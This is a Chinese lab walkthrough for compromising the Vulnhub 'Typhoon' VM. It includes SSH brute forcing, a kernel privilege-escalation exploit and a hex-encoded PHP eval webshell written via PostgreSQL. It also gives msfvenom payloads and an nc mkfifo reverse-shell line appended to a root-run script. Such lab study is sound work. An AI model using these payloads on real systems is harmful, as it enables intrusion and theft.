仅供个人娱乐

靶机信息

靶机下载地址:https://www.vulnhub.com/entry/typhoon-102,267/

一、主机探测

arp-scan -l

nmap -sV -p- -A 192.168.181.136

扫描之后发现目标开放了很多的端口比如21(ftp),22(ssh),25(smtp),53(dns),80(http),…2049(nfs-acl),3306(mysql),5432(postgresql),6379(redis),8080(http),27017(mongodb)等。

二、漏洞扫描

21端口(ftp)

nmap扫描结果为可以匿名访问

在浏览器访问,发现什么都没有

22端口(ssh)

首先开始是想什么呢,ssh连接需要账号密码的,发现靶机名字为typhoon就想着去测试一下看看账号存不存在,利用ssh用户枚举漏洞进行测试

发现端口22开放,其版本为openssh 6.6.1p1,利用OpenSSH新爆出的CVE爆出目标主机的用户,这对特定的用户爆破密码,建议爆破1000条。先用searchsploit查找OpenSSH 6.6.1p1出现的漏洞,找到两个用户名枚举漏洞.

searchsploit openssh

利用msf进行账号枚举。这里的用户名字典我采用:

https://raw.githubusercontent.com/fuzzdb-project/fuzzdb/master/wordlists-user-passwd/names/namelist.txt

设置数据

结果显示

结果用户存在,于是去想着爆破一下密码,看看是否为弱密码。

hydra -l typhoon -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh://192.168.181.136

username: typhoonpassword: 789456123

登录测试

ssh typhoon@192.168.181.136

25端口(smtp)

发现开放25端口,版本为Postfix smtpd

searchsploit postfix

使用smtp-user-enum枚举用户名

search smtp

use 5

设置参数

53端口(DNS  ISC BIND9.9.5-3)

查看是否存在漏洞,发现dns版本存在拒绝服务漏洞

Searchsploit isc bind

80端口(http)

访问80端口http://192.168.181.136:80

访问:http://192.168.1.104/robots.txt发现有个/monoadmin/目录,访问http://192.168.181.136/mongoadmin

然后下面有两个链接点击creds,会发现一个账号密码,跟ssh爆破一样的。

username: typhoon

password: 789456123

再次使用ssh连接

漏洞提权一、

searchsploit  linux 3.13.0

然后将利用exp复制到/opt目录下

cp /usr/share/exploitdb/exploits/linux/local/37292.c /opt

使用python搭建小型http服务器,以提供利用exp下载

python -m  SimpleHTTPServer 81

将37292.c移动到桌面

使用wget命令将该利用exp从kali主机下载到到目标主机tmp目录。(只有tmp目录具有写入文件的权限)

cd /tmp

wget  http://192.168.181.128/37292.c

利用漏洞

为了方便shell,使用python进行shell交互

python -c 'import pty; pty.spawn("/bin/bash")'

falg:

进入root目录然后读取flag信息

漏洞提权二、

发现目标为ubuntu 14.04,去exploit-db搜索这个内核漏洞,然后下载

poc地址:https://www.exploit-db.com/exploits/37292

下载之后是一个.c文件,需要编译,把它上传到靶机编译运行

改名为123.c   放置于/root

scp /root/123.c typhoon@192.168.181.136:/tmp

ls

gcc 123.c -o 123

ls

./123

成功提权

111端口(nfs,rpcbind)

search nfs

use 1

设置参数以及结果

445端口

发现目标开放了445端口,使用enum4linux枚举目标共享信息

enum4linux    ip

扫描结果发现允许空账户、空密码登录,共享文件typhoon

远程挂载

mount -t cifs -o username='123',password='' //192.168.181.136/typhoon /mnt

cd /mnt

ls

5432端口(postgresql数据库)

第一步msf模块测试一下

search postgresql

use 5或者use auxiliary/scanner/postgres/postgres_login

set rhosts 192.168.181.136exploit

结果显示

发现账号密码username: postgrespassword: postgres

登录psql数据库

psql -h 192.168.181.136 -U postgres

读取文件

读取权限允许的文件

select pg_read_file('postgresql.conf',0,1000);

建表,并使用copy从文件写入数据到表

DROP TABLE if EXISTS hua; 删除hua的表

CREATE TABLE hua(t TEXT); 创建hua的表

COPY hua FROM '/etc/passwd';复制passwd到hua表

SELECT * FROM hua limit 1 offset 0; 查看第一行

直接读出全部数据

SELECT * FROM hua;

利用数据库写文件

INSERT INTO hua(t) VALUES ('hello,hua');赋值hello

COPY hua(t) TO '/tmp/hua'; 复制到/tmp/hua

SELECT * FROM hua; 查看

数据库导入木马

Msf shell

接下来就可以利用“大对象” 数据写入法

SELECT lo_create(6666); 创建OID

delete from pg_largeobject where loid=6666; 清空内容

接下来向”大对象”数据写入数据(木马),使用hex:

在写数据之前,先生成一个木马

msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.181.128 lport=6666 R > /root/1.php

打开这个shell.php复制转换成16进制

insert into pg_largeobject (loid,pageno,data) values(6666, 0, decode('.....', 'hex'));

......为脚本文件

文件太大失败

使用自己的反弹shell脚本 改为16进制

导出数据到指定文件:

SELECT lo_export(6666, '/var/www/html/shell.php');//默认导出到安装根目录 也可以带路径自由目录写shell

接下来就是访问了(先msf开启监听,然后http://192.168.181.136/shell.php)

Msfconsole

Search handler

Use 26或者 use exploit/multi/handler

小马菜刀

或者使用一句话木马加密hex

3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E

上传木马

insert into pg_largeobject (loid,pageno,data) values(6666, 0, decode('3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E', 'hex'));

导出数据到指定文件:

SELECT lo_export(6666, '/var/www/html/1.php');

菜刀连接

6379端口(redis)

Redis未经授权访问漏洞利用,连接redis

这个漏洞有三种方法利用1.利用redis写webshell2.利用”公私钥”认证获取root权限3.利用crontab反弹shell这三种方法都能可以,但就是利用不了,原因是那些文件都没有更高的执行权限,所以导致都导致利用不了

Redis未授权访问漏洞复现与利用

https://www.cnblogs.com/bmjoker/p/9548962.html

8080端口(Tomcat)

浏览器访问http://192.168.181.136:8080

发现需要登录

于是想用msf测试存在账号密码

Msfconsole

Search tomcat

Use 7

结果显示

等到账号密码username: tomcatpassword: tomcat

查找漏洞

利用mgr_upload漏洞

Search tomcat

use 16

设置参数

Shell

python -c 'import pty;pty.spawn("/bin/bash")'进行交互

最后再tab文件里发现一个.sh文件具有高的执行权限,就想着往里面写代码进行再次提权.

这时需要msfvenom创建bash代码

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.181.128 lport=5555 R

将生成的恶意代码添加到script.sh文件中

echo "mkfifo /tmp/qadshdh; nc 192.168.181.128 5555 0</tmp/qadshdh | /bin/sh >/tmp/qadshdh 2>&1; rm /tmp/qadshdh" > script.sh

运行./script.sh之前开启监听

python -c 'import pty;pty.spawn("/bin/bash")'进行交互

Tomcat的后台管理获取shell

通过google可知默认的tomcat后台目录为/manager/html,用户名:tomcat,密码:tomcat

http://192.168.181.136:8080//manager/html

我们可以msfvenom来生WAR文件

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.181.128   LPORT=4444  -f war -o evil.war

可以看到evulll.war具体内容:

7z l evil.war

后台上传文件

要访问恶意Web应用程序,请在浏览器的地址栏中输入以下内容:

http://192.168.181.136:8080/evil/tudvpurwgjh.jsp

http://192.168.181.136:8080/evil.war

同是也可以上传大马war包

本地监听NC可反弹

同是也可以上传大马war包

dirb 扫描

在dirb扫描中有cms,durpal,phpmyadmin等

Lotus CMS

访问cms:http://192.168.181.136/cms

然后我搜索了此CMS登录的默认凭据,我发现此CMS容易受到eval()函数中存在的一个远程执行代码漏洞的攻击。

利用msf的lotus cms模块

Msfconsole

Search lotus

Use 9或者use exploit/multi/http/lcms_php_exec

设置参数

结果显示

Drupal CMS

访问drupal:http://192.168.181.136/drupal

再次使用msf的durpal cms模块

Search durpal

use 4或者use exploit/unix/webapp/drupal_drupalgeddon2

设置参数

结果显示

others

在dvwa文件的config配置文件中发现了phpmyadmin数据库的账号密码了

username: root

password: toor

访问登录:http://192.168.181.136/phpmyadmin

进去之后发现得到一些账号密码,结果发现是在靶机了搭建了两个web测试平台

Typhoon靶机的更多相关文章

  1. kali渗透综合靶机(九)--Typhoon靶机

    kali渗透综合靶机(九)--Typhoon靶机 靶机下载地址:https://www.vulnhub.com/entry/typhoon-102,267/ 一.主机发现 1.netdiscover ...

  2. Typhoon-v1.02 靶机入侵

      0x01 前言 Typhoon VM包含多个漏洞和配置错误.Typhoon可用于测试网络服务中的漏洞,配置错误,易受攻击的Web应用程序,密码破解攻击,权限提升攻击,后期利用步骤,信息收集和DNS ...

  3. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

  4. Ms17-010进行WEB提权之实践下某培训靶机服务器

    前言:该机器为某个其他培训机构的靶机,说实话在这里没炫耀啥,只是给各位学习Ms17010的同学指一条路,我原先也折腾这玩意儿好久,但是就是不行,最近才找到了出路,所以多写两篇文章,把各种需要注意的地方 ...

  5. metasploit利用漏洞渗透攻击靶机

    1.网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的老师给的Windows Server 2000系统的计算机.这两台计算 ...

  6. web 攻击靶机解题过程

    sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...

  7. Fowsniff: 1靶机入侵

    一.信息收集 1.存活主机扫描 arp-scan  -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...

  8. digitalworld.local: MERCY靶机入侵

    0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...

  9. Moonraker:1靶机入侵

      0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...

随机推荐

  1. 入门实践丨如何在K3s上部署Web应用程序

    在本文中,我们将使用Flask和JavaScript编写的.带有MongoDB数据库的TODO应用程序,并学习如何将其部署到Kubernetes上.这篇文章是针对初学者的,如果你之前没有深度接触过Ku ...

  2. 数据库创建好之后如何创建scott用户

    SQL> conn / as sysdba Connected. SQL> @%oracle_home%\rdbms\admin\utlsampl.sql 建立完成以后会自动退出sqlpl ...

  3. ceph-csi源码分析(8)-cephfs driver分析

    更多 ceph-csi 其他源码分析,请查看下面这篇博文:kubernetes ceph-csi分析目录导航 ceph-csi源码分析(8)-cephfs driver分析 当ceph-csi组件启动 ...

  4. Qt之先用了再说系列-串口通讯(单串口单线程)

    QT 串口通讯(单串口单线程) 串口通讯在我们写程序的时候或多或少会用到,借此在这记录一下QT是如何使用串口来通讯的.本次先侃侃在单线程下使用1个串口来通讯过程.好了,废话不多说,直接看步骤,我们的宗 ...

  5. MyBatis:条件构造器QueryWrapper方法详解

    QueryWrapper 说明:      继承自 AbstractWrapper ,自身的内部属性 entity 也用于生成 where 条件及 LambdaQueryWrapper, 可以通过 n ...

  6. Laravel使用Observer(观察者)

      1.创建observer文件,我这里是要记录仓库库存模块的操作日志,所以执行下面的语句,会在app/Observers下面创建WarehouseInventoryObserver文件. php a ...

  7. 基于redis的分布式锁防止高并发重复请求

    需求: 我们先举个某系统验证的列子:(A渠道系统,业务B系统,外部厂商C系统)(1)B业务系统调用A渠道系统,验证传入的手机.身份证.姓名三要素是否一致.(2)A渠道系统再调用外部厂商C系统.(3)A ...

  8. buu 新年快乐

    一.查壳 发现是upx的壳. 二.拖入ida,发现要先脱壳. 题外话.总结一下手动脱壳,esp定律: 1.先单步到只有esp红色时,右键数据窗口跟随. 2.到数据窗口后,左键硬件访问,byte和wor ...

  9. ARTS第二周

    第二周. 1.Algorithm:每周至少做一个 leetcode 的算法题2.Review:阅读并点评至少一篇英文技术文章3.Tip:学习至少一个技术技巧4.Share:分享一篇有观点和思考的技术文 ...

  10. Python单元测试框架unittest之断言(assert)

    unittest中断言主要有三种类型: 1.基本的布尔断言,即:要么正确,要么错误的验证 2.比较断言,如比较两个变量的值(跟上面的布尔断言区别不大,主要是通过比较两个变量的值得出布尔值) 3.复杂断 ...